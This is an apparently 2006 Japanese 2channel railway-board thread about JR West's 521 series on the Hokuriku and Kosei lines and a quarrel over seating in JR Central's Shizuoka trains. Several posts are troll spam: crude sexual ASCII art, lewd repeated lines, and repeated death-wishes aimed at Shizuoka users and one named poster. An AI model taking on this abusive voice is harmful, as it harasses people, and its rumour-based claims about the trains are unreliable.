【北陸本線 湖西線】5 ..
2:名無し野電車区
06/10/27 17:04:02 DGC1sByO
aaaaaaagggggggeeeeeeee
3:名無し野電車区
06/10/27 17:05:05 yU46SIQy
静シス用３１３系の仕様が決定したそうです。
基本性能は３１３系のままですが、車内は全てロングシートになります。
これと大垣からの２１１−５０００の転入によって、
静岡地区からクロスシートはほぼ一掃されて、
大幅なサービス向上になります。
静岡の場合、在来線利用は新幹線駅までの
１５分以内の乗車とされている上、
都市間移動は新幹線を利用することが
原則ですので、ロングシートは必須でしょう。
4:名無し野電車区
06/10/27 17:16:16 ePcbPzOy
【関西北陸】125系・223系・5000系 ３【香川岡山】
ｽﾚﾘﾝｸ(rail板)
【10月21日】北陸総合スレ 15号【ダイヤ改正】
ｽﾚﾘﾝｸ(rail板)
★★北陸本線敦賀以南スッドレ2★★
ｽﾚﾘﾝｸ(rail板)
〔アーバン〕ダイヤ改正と車両転配属27
ｽﾚﾘﾝｸ(rail板)
【新快速】JR神戸・京都・琵琶湖線ｽﾚ44【敦賀】
ｽﾚﾘﾝｸ(rail板)
5:名無し野電車区
06/10/27 18:10:59 nKCrprfz
／⌒ヽ
/ ´_ゝ`）
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Ｕ .Ｕ
6:名無し野電車区
06/10/27 18:13:56 nKCrprfz
／⌒ヽ
/ ´_ゝ`）
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Ｕ .Ｕ
7:名無し野電車区
06/10/27 19:04:36 7aOAKYys
人力車５２１系
8:名無し野電車区
06/10/27 20:19:15 zMnnG42O
静岡厨氏ね
9:名無し野電車区
06/10/27 20:51:35 kJNre3X4
確実に言えることは静岡には転クロは入らないということ。
静岡以外はあざといまでに転クロで埋め尽くすこと。
まさか中央西線山区間や関西線、飯田線まで転クロ化するとは
思わなかった。逆にシス管内にはビタ一両入れないとはね。
これは鉄事というか東海本社の確固たる方針だから
間違いない。
10:名無し野電車区
06/10/27 20:55:34 nKCrprfz
／⌒ヽ
/ ´_ゝ`）
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Ｕ .Ｕ
11:名無し野電車区
06/10/27 21:05:29 LufEedPn
１２５系静岡におくれ！
12:名無し野電車区
06/10/28 01:54:44 VfmeZeqD
>>11
119単行や123の置き換え用として、普通に欲しい。
13:名無し野電車区
06/10/28 09:14:46 9AlooIuC
全て東海のはなしかよ！
125系が東海に入る願うのは、バカじゃないか！？
125系はＪＲ西日本の車両だからな。
ＪＲ東海に要望してくれ！
それにしても静岡は日本で中途半端な件だな。
政令都市もあるのに鉄道があのようじゃ、
関西や関東の政令指定都市以外の市に負けてるし。
っで、521系の話は何処に行った？
14:名無し野電車区
06/10/28 10:44:06 gatJ0YNm
521運用にはいてるの？
15:名無し野電車区
06/10/28 10:53:56 iFPGVik6
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16:名無し野電車区
06/10/28 11:32:14 q7qEsldS
>>14
まだ試運転中
というより、第4編成以外は松任本所にいたりするのだがな
17:名無し野電車区
06/10/28 11:36:10 iFPGVik6
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18:名無し野電車区
06/10/28 11:38:17 Sev5hPSo
北陸５２１系転クロ車。
東海３１３系も転クロ車。
静岡３１３系はロング車。
静岡３段落ち。
19:名無し野電車区
06/10/28 11:41:14 OjMX753g
静岡うざい
20:名無し野電車区
06/10/28 11:50:37 NpxQcTvR
静岡に521系きぼん。
21:名無し野電車区
06/10/28 11:56:10 E+Gi/4uA
991系で十分
22:名無し野電車区
06/10/28 12:02:20 iFPGVik6
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23:名無し野電車区
06/10/28 12:23:54 U1y9IpSy
521系は、松任から回送されいつ敦賀に全てそろうんでしょうかね…
一日朝早くから夜遅くまでずっと敦賀以南で運用する521系のスジがありました。(現在419系)
まだある可能性があります。
だいぶ、残り４編成分のスジもどんどんわかってきました。
24:名無し野電車区
06/10/28 12:27:57 iFPGVik6
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25:名無し野電車区
06/10/28 12:53:26 9uSnMo4E
誰も構ってくれないからしつこく貼ってるのか？
26:名無し野電車区
06/10/28 13:44:50 iFPGVik6
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27:名無し野電車区
06/10/28 15:11:46 6VM6QoQt
お約束に則って、
＼＼ __ [][]
（ ・∀・） | | ┌ !└ｰ┐
と ） | | ￣| l￣l | [][]ﾉﾌ
Ｙ /ノ 人 <ノ┌.' | く／
/ ） < >__∧∩ ￣
＿/し'＿／／. Ｖ｀Д´）/ ←>>15 >>17 >>22 >>24 >>26
| / /
| 100ｔ 彡
28:名無し野電車区
06/10/28 15:43:16 iFPGVik6
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29:名無し野電車区
06/10/28 15:45:24 VoPQgmp0
基地外が沸いてる
30:名無し野電車区
06/10/28 15:47:28 iFPGVik6
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31:名無し野電車区
06/10/28 19:29:15 yuTcS86I
１２５系でも５２１系でなくてもいいです。
２２３系で妥協しますから、静岡の３１３系ロングと交換して下さい。
32:名無し野電車区
06/10/28 19:55:26 iFPGVik6
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33:静岡利用客
06/10/28 20:07:38 NpxQcTvR
静岡に125系か223系きぼん。
34:名無し野電車区
06/10/28 23:40:47 /gHOVLuH
そもそも、何でこのスレに静岡が関係あるの？
35:名無し野電車区
06/10/29 00:09:48 r+dDy311
前スレで近車に521の隣に313がいるという報告があったばっかりに
36:名無し野電車区
06/10/29 00:31:00 jfwxOXDs
10月21日以降、北陸本線米原〜敦賀＆湖西線近江今津以北の
ローカルの多くが419系で125系は僅かになったことで、
北陸線敦賀〜福井の普通で521系に置き換えられるのが
ごく僅かになることが決定的になってから、北陸厨の勢いが衰え、
このスレの勢いも衰えた。
その代わり、521系と同じ場所で作られている313系がオールロングの
可能性が出てきたから、静岡ロング厨が急に勢いづいて、
このスレの勢いも復活した。
37:名無し野電車区
06/10/29 03:49:35 Oo02Gz4f
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38:名無し野電車区
06/10/29 03:58:22 Oo02Gz4f
ﾊｧﾊｧ
／￣￣￣￣＼ ﾊｧ ﾊｧ ＜でるぅぅぅ〜！ビュ〜〜〜！
￣|| ﾊｧ （ , 、 ） ﾊｧ
|| （-◎-◎ー ;;;;;) __,,.-──ヽ＿＿ )))
|| ﾊｧ（ (_ _) ６）-" ￣￣＼ ))
|| ﾊｧ （ ε ∴ | ⌒─-,,＿＿／ ）
|| ﾊｧゝ_＿＿＿＿／ ヽ、 ＿ ￣ヽ ￣￣─⌒丶 )))
￣￣○二二二|, -─⌒￣ ヽ , -─⌒￣￣ ﾉ ＼
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
／ギシ＼
／ギシ ギシ＼
39:名無し野電車区
06/10/29 07:09:36 4pES+bdg
>>36
あの〜敦賀以南を一日中運用するのは１編成のみで、それ以外は、朝夕敦賀以南で運用し昼は敦賀〜福井で走りまくります。
125系はほぼ全て小浜線にもって行かれました。まぁ、北陸・湖西線に多く入ったとしてもすぐに521系にかわる可能性が高かったし…
当分521系の運用形式は変わらないだろう…
40:名無し野電車区
06/10/29 07:12:13 egYYSpho
１．われは湖（うみ）の子（こ） さすらひの
旅（たび）にしあれば しみじみと
昇（のぼ）る狹霧（さぎり）や さゞなみの
滋賀（しが）の都（みやこ）よ いざゝらば
２．松（まつ）は緑（みどり）に 砂（すな）白（しろ）き
雄松（をまつ）が里（さと）の 乙女子（をとめご）は
赤（あか）い椿（つばき）の 森陰（もりかげ）に
はかない戀（こひ）に 泣（な）くとかや
３．波（なみ）のまにまに 漂（たゞよ）へば
赤（あか）い泊火（とまりび） 懷（なつ）かしみ
行方（ゆくへ）定（さだ）めぬ 波枕（なみまくら）
今日（けふ）は今津（いまづ）か 長濱（ながはま）か
４．璢璃（るり）の花園（はなぞの） 珊瑚（さんご）の宮（みや）
古（ふる）い傳（つた）への 竹生島（ちくぶじま）
佛（ほとけ）の御手（みて）に 抱（いだ）かれて
眠（ねむ）れ乙女子（をとめご） やすらけく
５．矢（や）の根（ね）は深（ふか）く 埋（うづ）もれて
夏草（なつくさ）しげき 堀（ほり）のあと
古城（こじやう）にひとり 佇（たゝず）めば
比良（ひら）も伊吹（いぶき）も 夢（ゆめ）のごと
６．西國（さいごく）十番（じふばん） 長命寺（ちやうめいじ）
汚（けが）れの現世（うつしよ） 遠（とほ）く去（さ）りて
黄金（こがね）の波（なみ）に いざ漕（こ）がん
語（かた）れ我（わ）が友（とも） 熱（あつ）き心（こゝろ）
41:名無し野電車区
06/10/29 08:16:16 Oo02Gz4f
ﾊｧﾊｧ
／￣￣￣￣＼ ﾊｧ ﾊｧ ＜でるぅぅぅ〜！ビュ〜〜〜！
￣|| ﾊｧ （ , 、 ） ﾊｧ
|| （-◎-◎ー ;;;;;) __,,.-──ヽ＿＿ )))
|| ﾊｧ（ (_ _) ６）-" ￣￣＼ ))
|| ﾊｧ （ ε ∴ | ⌒─-,,＿＿／ ）
|| ﾊｧゝ_＿＿＿＿／ ヽ、 ＿ ￣ヽ ￣￣─⌒丶 )))
￣￣○二二二|, -─⌒￣ ヽ , -─⌒￣￣ ﾉ ＼
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
／ギシ＼
／ギシ ギシ＼
42:名無し野電車区
06/10/29 08:25:47 4pES+bdg
もう荒らしばっかだな。
43:名無し野電車区
06/10/29 09:59:04 Oo02Gz4f
ﾊｧﾊｧ
／￣￣￣￣＼ ﾊｧ ﾊｧ ＜でるぅぅぅ〜！ビュ〜〜〜！
￣|| ﾊｧ （ , 、 ） ﾊｧ
|| （-◎-◎ー ;;;;;) __,,.-──ヽ＿＿ )))
|| ﾊｧ（ (_ _) ６）-" ￣￣＼ ))
|| ﾊｧ （ ε ∴ | ⌒─-,,＿＿／ ）
|| ﾊｧゝ_＿＿＿＿／ ヽ、 ＿ ￣ヽ ￣￣─⌒丶 )))
￣￣○二二二|, -─⌒￣ ヽ , -─⌒￣￣ ﾉ ＼
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
／ギシ＼
／ギシ ギシ＼
44:名無し野電車区
06/10/29 10:42:45 Wxx0sEqU
荒らす価値あるスレなんだってさｗｗｗ
45:名無し野電車区
06/10/29 11:54:50 Oo02Gz4f
逞しき肉棒
逞しき肉棒
逞しき肉棒
逞しき肉棒
逞しき肉棒
逞しき肉棒
逞しき肉棒
46:名無し野電車区
06/10/29 13:41:57 aaVAgynX
【鉄道】イコカで行けず 新快速乗り入れ始まった敦賀駅…JR西日本「大都市近郊区間外なので」
ｽﾚﾘﾝｸ(newsplus板)
47:名無し野電車区
06/10/29 15:40:35 VUG58F/6
(ﾟ∀ﾟ )(ﾟ∀ﾟ )(ﾟ∀ﾟ )( ﾟ∀ﾟ ) ( ﾟ∀ﾟ)( ﾟ∀ﾟ)( ﾟ∀ﾟ)
( ﾟ∀ﾟ )(ﾟ∀ﾟ ) (ﾟ∀ﾟ ) ( ﾟ∀ﾟ ) ( ﾟ∀ﾟ) ( ﾟ∀ﾟ) ( ﾟ∀ﾟ)
( ﾟ∀ﾟ )(ﾟ∀ﾟ ) (ﾟ∀ﾟ ) ( ﾟ∀ﾟ ) ( ﾟ∀ﾟ) ( ﾟ∀ﾟ) ( ﾟ∀ﾟ)
( ﾟ∀ﾟ ) (ﾟ∀ﾟ ) (ﾟ∀ﾟ ) ( ﾟ∀ﾟ ) ( ﾟ∀ﾟ) ( ﾟ∀ﾟ) ( ﾟ∀ﾟ )
( ﾟ∀ﾟ )(ﾟ∀ﾟ ) (ﾟ∀ﾟ ) ( ﾟ∀ﾟ ) ( ﾟ∀ﾟ) ( ﾟ∀ﾟ) ( ﾟ∀ﾟ )
( ﾟ∀ ﾟ )(ﾟ∀ﾟ ) (ﾟ∀ﾟ ) ( ﾟ ∀ ﾟ ) ( ﾟ∀ﾟ) ( ﾟ∀ﾟ) ( ﾟ∀ﾟ )
( ﾟ∀ ﾟ )( ﾟ∀ﾟ ) ( ﾟ∀ﾟ ) ( ﾟ ∀ ﾟ ) ( ﾟ∀ﾟ ) ( ﾟ∀ﾟ ) ( ﾟ ∀ﾟ )
ロングーローングーたっぷーりーローングー
たっぷりーローングがーやーってくーるー♪
48:名無し野電車区
06/10/29 19:54:10 oJ3HsExz
敦賀-福井間の普通列車
食パンと急行型はどっちが多い？
49:名無し野電車区
06/10/29 20:57:25 4pES+bdg
>>48
おそらく五分五分くらいかな
50:名無し野電車区
06/10/29 21:44:52 Oo02Gz4f
┏┓┏┓ ┏━━━┓ ┏┓ ┏━━┓┏━┓
┃┃┃┃ ┗━━━┓┃ ┃┃ ┗━┓┏┛┃┏┓┃
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┗━━┛┗━┛ ┗━━━━┛┗━┛┗━━┛
51:名無し野電車区
06/10/29 23:34:46 4pES+bdg
>>48
おそらく食パンは521系に変わると思われ
52:名無し野電車区
06/10/29 23:36:08 HgNJiuBg
米原で長時分停車するのは、しらさぎを先にいかせるためなのね。
53:名無し野電車区
06/10/29 23:56:11 Gw84DyyO
223系か521系か125系を静岡に下さい。
静岡ロング反対！
静岡塵もしぞーか塵も遠州塵も駿河塵も池沼厨房ｦｳﾞﾗﾗｲシ寅も厨房yosukeもみんなまとめて氏ね！
54:名無し野電車区
06/10/30 01:44:22 WQqk1kKO
, ∧.∴' _ ・ ；. ｱﾎﾞｰﾝ！
∴' ', ・,‘ ;*;∵; ζ。
・.;,;ヾ∵ ,' Дﾟ)/・ ・,‘ ;*;∵; ζ。
Λ＿Λ _ﾎ ｶﾞｯ ・.;, ¶ ;ヾ∵ ,＞∴' ', ・,‘ ;*;∵; ζ。
（ ´Д｀/ ＿＝￣ ヾ .* * ;' ∧¶ .' ， ．.
＼ ヽ = -=／ ＿ ＼:, ◆.∴' /・ ；. ← >>38=>>41=>>43
/ .-∪=-＿-=─ ＝ ', ・,‘/ /;*;∵; ζ 。
/ .へ_＿ ―-＿￣─ ― ・.（_/;￣,;ヾ ,◆
.| .|ヾ. -= -.／ ￣ ￣"' ∫*; ・\ *つ
| | _= / ﾎﾞﾝ!! *;◆;・';'∴ ＼
＼.＼ / ./ *ﾉ; し;;' *
∪（. ヾ | |､ ＼
| .ﾉ | / ＼ ⌒l
.| | | | ） /
ノ ） ノ ） し'
ﾐノ (＿／
蛆虫さっさと死にやがれ！！！！！
55:名無し野電車区
06/10/30 02:36:00 isSjo851
記念フリーきっぷが使える区間が分からない。
56:名無し野電車区
06/10/30 02:45:31 2VTkAa7W
記念フリー区間は
米原〜敦賀〜小浜と近江塩津〜近江今津
特急に乗れないのは18切符と同じ。
57:名無し野電車区
06/10/30 06:59:28 Y5B4R2d8
>>52
湖西線の新快速は近江今津で特急に追い越されます。
58:名無し野電車区
06/10/30 12:31:26 9apgOTnc
hage
59:名無し野電車区
06/10/30 12:39:11 JkY/KdEQ
ぬるぽロング313系静岡投入反対！
静岡に転換クロス223系・521系・125系投入賛成！
もし静岡にロングを入れたらガンガン抗議するからな！
葛西氏ね！
60:名無し野電車区
06/10/30 13:44:43 WQqk1kKO
|┃三 人
|┃ (＿)
|┃ ヨロヨロ (＿＿) ))
|┃ (＿＿＿)
|┃ (( (＿＿＿＿) ヨロヨロ
|┃ 三 (＿＿＿＿＿)
|┃ (＿＿＿＿＿＿)
|┃ （＿＿＿＿＿＿＿ ） 『超お得！！』うんこ大大大増量
|┃≡（＿＿＿＿＿＿＿＿ ） ＿＿＿＿＿＿＿＿＿＿＿＿＿
|┃ （＿＿＿＿＿糞＿＿＿＿ ） ／
|┃（＿＿＿＿＿＿＿＿＿＿＿ ） ＜ >>1 糞スレ立てるな、蛆虫。氏ね。
＿__.|ミ＼＿＿＿＿( ´,_ゝ｀)プッ ＼
|┃=＿_＿＿＿ ＼ ￣￣￣￣￣￣￣￣￣￣￣￣￣
|┃三 ) 人 ＼ ガラッ
〜〜〜〜〜〜〜〜〜〜〜〜〜〜終〜〜〜〜〜〜了〜〜〜〜〜〜〜〜〜〜〜〜〜
61:名無し野電車区
06/10/30 15:20:34 Y5B4R2d8
>>59
それは、東海に言えよ！
125系や521系は西日本が設計製造してるから、何があっても東海なは絶対行かないだろうな。
西日本はクロスシートが基本！
東海は名古屋はクロスシート、静岡はロングシートが基本ｗ
62:名無し野電車区
06/10/30 15:23:07 Y5B4R2d8
>>59
それは、東海に言えよ！
125系や521系は西日本が設計製造してるから、何があっても東海には絶対行かないだろうな。
521系は北陸・湖西線以外は投入される予定ないし。
125系は西日本のローカル路線に次々に投入だな。
西日本はクロスシートが基本！
東海は名古屋はクロスシート、静岡はロングシートが基本ｗ
63:名無し野電車区
06/10/30 15:45:48 Y5B4R2d8
>>62
追記
来年本線から２２１系は脱退し、その置き換えの２２３系が大量に製造されます。
ＪＲ西日本の新快速の全列車１２両化も近いな。
64:名無し野電車区
06/10/31 03:33:33 Zrc6/cpR
今 私の願いごとが
かなうならば ロングが欲しい
この静岡に 都会のように
長い座席 つけてください
この静岡に ロングをつけて
走らせて行かせたいよ
ドア化粧板の無い 簡素な列車へ
コスト削減して 行きたい
社長のとき 夢見たこと
今も同じ 夢に見ている
この静岡に ロングをつけて
走らせて行きたいよ
トイレの無い 短い列車へ
札束はためかせ
この静岡に 乗客乗せて
走らせて行きたいよ
3両しか無い 短い列車へ
札束はためかせ 行きたい
65:名無し野電車区
06/10/31 03:43:36 6wftzz/f
てすと
66:名無し野電車区
06/10/31 11:41:33 LK2hWkdC
∧＿∧
◎ へ （´<_｀ ）＜静岡塵市ね！！！
＼ ≫￣￣￣￣彡ヽ￣￣￣￣￣￣⌒ ＼
彡_＿＿＿人 ） ￣￣￣￣￣＼ ）
◎-●一（ * * ヽミ |. |
（(_ _ （( （ ;;-＝-￣＝─￣ '⌒ヽ〉 | |
‘,'.∴・,‘・(ε (（ ヽ-=＿二＿＿￣ ＼ | |
,'.・∵ ヽ＿＿＿＿_ ノ ￣＼ / /
（＿＿）） ヽ .＼＿＿/_丿
| | >>64 ヽ .| |
| |＿＿＿＿＿＿） | |
| 〉三三三[□]三） | |
ﾉﾉﾉﾉ:::::::::::::::::::::::::::::/ ＼ ヽ
~~~|::::::::::::::::::/:::::::/ ＼ |
|;;;;;;;;;;;;;;;/;;;;;;;/ ／ ノ
（＿＿＿|）＿|） `-
67:名無し野電車区
06/10/31 13:04:12 rdUNWDHA
キチガイﾜﾛｽｗ
68:名無し野電車区
06/10/31 15:59:56 eApTXIOf
hage
69:名無し野電車区
06/10/31 16:16:16 71YUipDr
静岡ロング絶対反対！
クロスが入らなかったらガンガン抗議するからな！
葛西氏ね！
70:名無し野電車区
06/10/31 16:19:59 WOBeYMwB
>>69
コピーしたやろ
71:名無し野電車区
06/10/31 16:21:19 WOBeYMwB
521系は結局敦賀〜福井は５〜６往復のみで、それ以外は敦賀以南。
まぁ、敦賀直流化事業の一環だから仕方がないな。
72:名無し野電車区
06/10/31 16:38:32 LK2hWkdC
, ∧.∴' _ ・ ；. ｱﾎﾞｰﾝ！
∴' ', ・,‘ ;*;∵; ζ。
・.;,;ヾ∵ ,' Дﾟ)/・ ・,‘ ;*;∵; ζ。
Λ＿Λ _ﾎ ｶﾞｯ ・.;, ¶ ;ヾ∵ ,＞∴' ', ・,‘ ;*;∵; ζ。
（ ´Д｀/ ＿＝￣ ヾ .* * ;' ∧¶ .' ， ．.
＼ ヽ = -=／ ＿ ＼:, ◆.∴' /・ ；. ← >>67
/ .-∪=-＿-=─ ＝ ', ・,‘/ /;*;∵; ζ 。
/ .へ_＿ ―-＿￣─ ― ・.（_/;￣,;ヾ ,◆
.| .|ヾ. -= -.／ ￣ ￣"' ∫*; ・\ *つ
| | _= / ﾎﾞﾝ!! *;◆;・';'∴ ＼
＼.＼ / ./ *ﾉ; し;;' *
∪（. ヾ | |､ ＼
| .ﾉ | / ＼ ⌒l
.| | | | ） /
ノ ） ノ ） し'
ﾐノ (＿／
ﾃﾒｰの方がｷﾁｶﾞｲなんだよ蛆虫！氏ね！！
73:名無し野電車区
06/10/31 19:24:31 eApTXIOf
, ∧.∴' _ ・ ；. ｱﾎﾞｰﾝ！
∴' ', ・,‘ ;*;∵; ζ。
・.;,;ヾ∵ ,' Дﾟ)/・ ・,‘ ;*;∵; ζ。
Λ＿Λ _ﾎ ｶﾞｯ ・.;, ¶ ;ヾ∵ ,＞∴' ', ・,‘ ;*;∵; ζ。
（ ´Д｀/ ＿＝￣ ヾ .* * ;' ∧¶ .' ， ．.
＼ ヽ = -=／ ＿ ＼:, ◆.∴' /・ ；. ← >>LK2hWkdC
/ .-∪=-＿-=─ ＝ ', ・,‘/ /;*;∵; ζ 。
/ .へ_＿ ―-＿￣─ ― ・.（_/;￣,;ヾ ,◆
.| .|ヾ. -= -.／ ￣ ￣"' ∫*; ・\ *つ
| | _= / ﾎﾞﾝ!! *;◆;・';'∴ ＼
＼.＼ / ./ *ﾉ; し;;' *
∪（. ヾ | |､ ＼
| .ﾉ | / ＼ ⌒l
.| | | | ） /
ノ ） ノ ） し'
ﾐノ (＿／
ﾃﾒｰの方がもっとｷﾁｶﾞｲなんだよ蛆虫！氏ね！！
74:名無し野電車区
06/10/31 23:29:40 p3VGLemf
静岡民は、関東に近いからロング当たり前。
クロスはダサいと思ってる。
75:名無し野電車区
06/11/01 12:35:30 LXEuKEjy
明日から普通列車が増結されるけど、これに乗じてデビューしないよね？
76:名無し野電車区
06/11/01 13:42:06 X37G+E1y
某氏のサイトによると、
敦賀〜福井間は、4843Mとその間合いに使われる１編成以外は１編成でピストン運動。
１編成はお休み。
4843Mに使われる１編成は近江今津→福井→敦賀の後はせっせと敦賀以南に従事。
残り２編成は、敦賀より北はかすりもしません。
結局営業運転でデッドセクションを跨ぐのは上下合わせて１０本のみ。
以上
77:名無し野電車区
06/11/01 14:08:11 eOWL+ecN
で？
78:76
06/11/01 14:26:16 dI3kAbW9
結論として、静岡の313系はオールロングになります。
79:名無し野電車区
06/11/01 14:31:37 eOWL+ecN
つまらん
80:名無し野電車区
06/11/01 17:12:50 Z0PiAvCx
ブォァァァァァァッァァッァァァ从从"､; 从
＿ー￣＿￣从从’, 从"((; 从从")) 从）)
∧ --＿- ― ＝￣ ￣从从.∴(（;"．从从．%; ））)人
, -''￣ ＝ ＿＿―＝',((;"．从从;．%;"))>从从））
／ ＿-― ￣＝＿从,,）｀ノ 从ｸ'''从从）） ;; ) ））>>73
/ ノ ￣￣＝＿ ` （:: ::人:::人从::::（（:: ::人人）） ）
/ , ｲ ） ￣＝(（"((; 从从")) ー' ／´ヾ_ﾉ
/ _, ＼ （:: ::人:::／, ノ
| / ＼ `､ ／ ／ ／
ｊ / ヽ | ／ ／ ,'
／ ノ ｛ | ／ ／| |
／ ／ | （_ !､＿／ / 〉
`､＿〉 ー‐‐` |_／
同じAAを使う低能池沼の貴様こそ市ね！！！
81:名無し野電車区
06/11/01 17:19:13 Z0PiAvCx
,` ： ｶﾞｯ
~､ ：. ' ・ ∵ ＿＿__
_,＿ '．、゛‘ （々＾。ﾟ,｀ゝ
│││ │ .{々 | | ヽ ＿＞
│││ │ │ .｀ヽ | | | >>73
││ │ │ | | | / |
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│││ │ ∧__∧ .| | | ||
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│││〈´ﾑ〉| | | | | |
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││ | | | | | し'´´
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│││ }"__〉
│││ │ .|__/
82:名無し野電車区
06/11/01 18:25:06 Z0PiAvCx
∧＿∧
◎ へ （´<_｀ ）
＼ ≫￣￣￣￣彡ヽ￣￣￣￣￣￣⌒ ＼
彡_＿＿＿人 ） ￣￣￣￣￣＼ ）
◎-●一（ * * ヽミ |. |
（(_ _ （( （ ;;-＝-￣＝─￣ '⌒ヽ〉 | |
‘,'.∴・,‘・(ε (（ ヽ-=＿二＿＿￣ ＼ | |
,'.・∵ ヽ＿＿＿＿_ ノ ￣＼ / /
（＿＿）） ヽ .＼＿＿/_丿
| | >>73 ヽ .| |
| |＿＿＿＿＿＿） | |
| 〉三三三[□]三） | |
ﾉﾉﾉﾉ:::::::::::::::::::::::::::::/ ＼ ヽ
~~~|::::::::::::::::::/:::::::/ ＼ |
|;;;;;;;;;;;;;;;/;;;;;;;/ ／ ノ
（＿＿＿|）＿|） `-
83:名無し野電車区
06/11/01 18:39:07 +QPRgH5z
今日、521系が敦賀駅に止まっていたので覗いてみた。
基本的には223-2000と同じっぽかったが
・補助椅子は中央ドアのみ
・ドア上の電光掲示板の号車表示がちょっと違う
・整理券発行機、運賃箱がついてる
・貫通路前後のスロープがない
・両車とも連結部（山側）に妻窓がある
・クモハは車端部がロング（片側は優先席）
・蛍光灯のグローブはあり
・ドア上の路線図は直江津まで入ってる
どっか→敦賀→福井→敦賀→福井→敦賀→どっか というコースで試運転してたみたい。
同じ時間で昨日もやってたので、明日もあるかもしれんな。
84:名無し野電車区
06/11/01 21:08:55 Q6A7Rldl
漏れが帰りに利用している列車が１０月２１日より急行型から食パンに変わり、
車掌が敦賀運転派出の人になった。
何かぁゃιぃと思ったら、案の定、５往復の１本に組み込まれているようだ。
これからは前後の列車を使うようにすることを検討しなければならない。
85:名無し野電車区
06/11/01 21:35:57 Bm69QPRq
>>83
試運転ですが、敦賀以南はおそらくデビュー一週間前だろうと思います。
125系の金フイ車がそうでしたから。
86:名無し野電車区
06/11/02 01:19:14 KbVSJdjd
はあ？
87:名無し野電車区
06/11/02 04:16:08 L/CgobeR
静岡向けオールロングの313系は最高だよな。
88:名無し野電車区
06/11/02 05:50:27 r5Wf/8CH
>>86
相手にするな
病気だから
89:名無し野電車区
06/11/02 06:22:06 UPzR9MZ+
話が進まんくそ糞スレにロングロングうるせー静岡のせいでなってもたな。
静岡のやつ常識なさすぎ。
他の掲示板でも静岡のやつ全体的に常識ないやつ多い。
90:名無し野電車区
06/11/02 07:58:01 FYkCmTwg
>>89
世界史履修漏れなヤツの末路だな。
静岡もだろ？
91:名無し野電車区
06/11/02 08:47:32 fQI0HUTW
静岡に５２１系が入ると聞いて飛んできました
福井発熱海行き
92:名無し野電車区
06/11/02 09:18:51 1ACvEZHt
静岡向け６列転クロの313系は最高だよな。
521なんか糞に思えるぞ。
93:名無し野電車区
06/11/02 11:01:27 UPzR9MZ+
>>92
静岡には転クロは行かんで〜ｗ
94:名無し野電車区
06/11/02 11:02:36 UPzR9MZ+
>>92
静岡の東海道には転クロは行かんで〜ｗ
しっかり調査したか？
転クロは名古屋圏とローカル線のみｗ
95:名無し野電車区
06/11/02 12:13:42 z7ZmazFf
大昔、客車列車時代、北陸線と東海道線静岡方面直通の普通列車がありました。
96:名無し野電車区
06/11/02 13:36:46 raEnf9d1
>>93=>>94
♪に６列転クロっぽい設計図がうｐされていましたから。
97:名無し野電車区
06/11/02 13:57:20 UPzR9MZ+
>>97
だからそれは名古屋圏用
98:名無し野電車区
06/11/02 14:04:14 ooUBezec
第1と第2、第4編成が本所にいるのを確認
第4編成は、今だに帯びなしだったりする
第3編成はどこだ？
99:名無し野電車区
06/11/02 14:05:59 N8nfNOWT
来年キハ１２６系似の電車が４、６連で福井以北を走行します 。
100:名無し野電車区
06/11/02 15:57:28 UPzR9MZ+
>>99
ありえないと思うで。
ＪＲ西日本の近郊形電車の基準は２２３系やから、登場するとすれば５２１系に似て非貫通形の３か４両のやつやと思うで。
５２１系１０００番台とかでｗ
101:名無し野電車区
06/11/02 16:07:19 VViIrhyJ
>>100
ほっとけって。
102:名無し野電車区
06/11/02 16:44:15 MOjfXS7B
第1と第2編成が、お手手を繋いでサワ方面へ回送されました。
両編成ともに、車内に試験機器が搭載されていたので、4両編成での性能試験を今晩くらいからやるんじゃないかな？
103:名無し野電車区
06/11/02 19:54:54 GrKDJvib
ところで、１２５系や５２１系が転クロなのに、キハ１２６系が転クロじゃないのはどうして？
104:駿河人
06/11/02 19:58:27 t6E9lkXm
静岡糞クロス厨が大変ご迷惑をおかけしました。
同じ静岡県民として情けない限りです。
静岡用313系はオールロングという答えが出ておりますので、これにて
失礼します。
105:名無し野電車区
06/11/02 20:43:00 Ufxv/Uxe
静岡向け６列転クロの３１３系、早く乗りたいね！
北陸向けキハ１２６系タイプ交直流電車も、早く乗りたいね！
106:名無し野電車区
06/11/02 21:24:00 FyYjJRjJ
>>103
同感。
どうせ一部システムを電車と共通化するなら、車体も共通化すべきだった。西のえこひいきが見てとれる。
キハ187もデザイン的には安っぽいし。振り子だけが取り柄。
107:名無し野電車区
06/11/02 21:31:37 rCy10SSH
>>104
駿河塵死ね！氏ねじゃなくて死ね！死ね！死ね！死ね！
お前がyosukeだと言う事はもうバレバレだからな！
yosuke死ね！氏ねじゃなくて死ね！
ネット社会から消え失せろyosuke！
108:名無し野電車区
06/11/02 23:58:16 Wtp18j82
静かな〓はけ6列の〓クロの313学部、早いく〓りたいねに向って！
北〓はけキハ126学部タイプに直流〓〓も、早いく〓りたいねに交際する！
109:名無し野電車区
06/11/03 18:35:47 0wyg3LKt
>>108
日本語でおｋ
110:名無し野電車区
06/11/03 19:11:54 ocWp+xaI
ところで５２１系が出ると４１９系は廃車になるのかい？
111:名無し野電車区
06/11/03 19:18:35 jdmQF9sk
>>110
一部車輌が廃車になるとの噂
詰め込みの利かない非食パン顔が優先的に廃車されるらしい
112:名無し野電車区
06/11/03 20:28:33 C3rt/myN
>>111
いわゆる419系高運転台編成ですね。
113:名無し野電車区
06/11/03 20:36:57 xdmqljqs
113系get
114:名無し野電車区
06/11/04 00:57:33 Vd9w8xpS
＿＿＿＿
／∵∴∵∴＼
/∵∴∵∴∵∴＼ ／::::::::::::::::::::::::::＼
/∵∴∴,（･）（･）∴| ＼＼＼ /::::::::::::::::::::::::::::::::::::::＼ ◎
|∵∵／ ○ ＼| ＼＼＼||:::::::::::::::::|＿|＿|＿|＿| ／
|∵ /. ミ | 彡 | ＿ ＼＼ ＼;;;;;;;;;;ノ ＼,, ,,／ ヽ
|∵.| ＼＿__|＿／|. ＼ ＼＼＼（ 6 ＊）─◎ ),･∵
＼| ＼__ノ ／＿＿ ＼ 彡＼ノ＼ ）））∴（ o o）∴）,∴ ･ゝ¨
＼＿＿＿／ ＼ ＼ |＼ ）））∵ ３ ∵>；､･∵ ' >>104
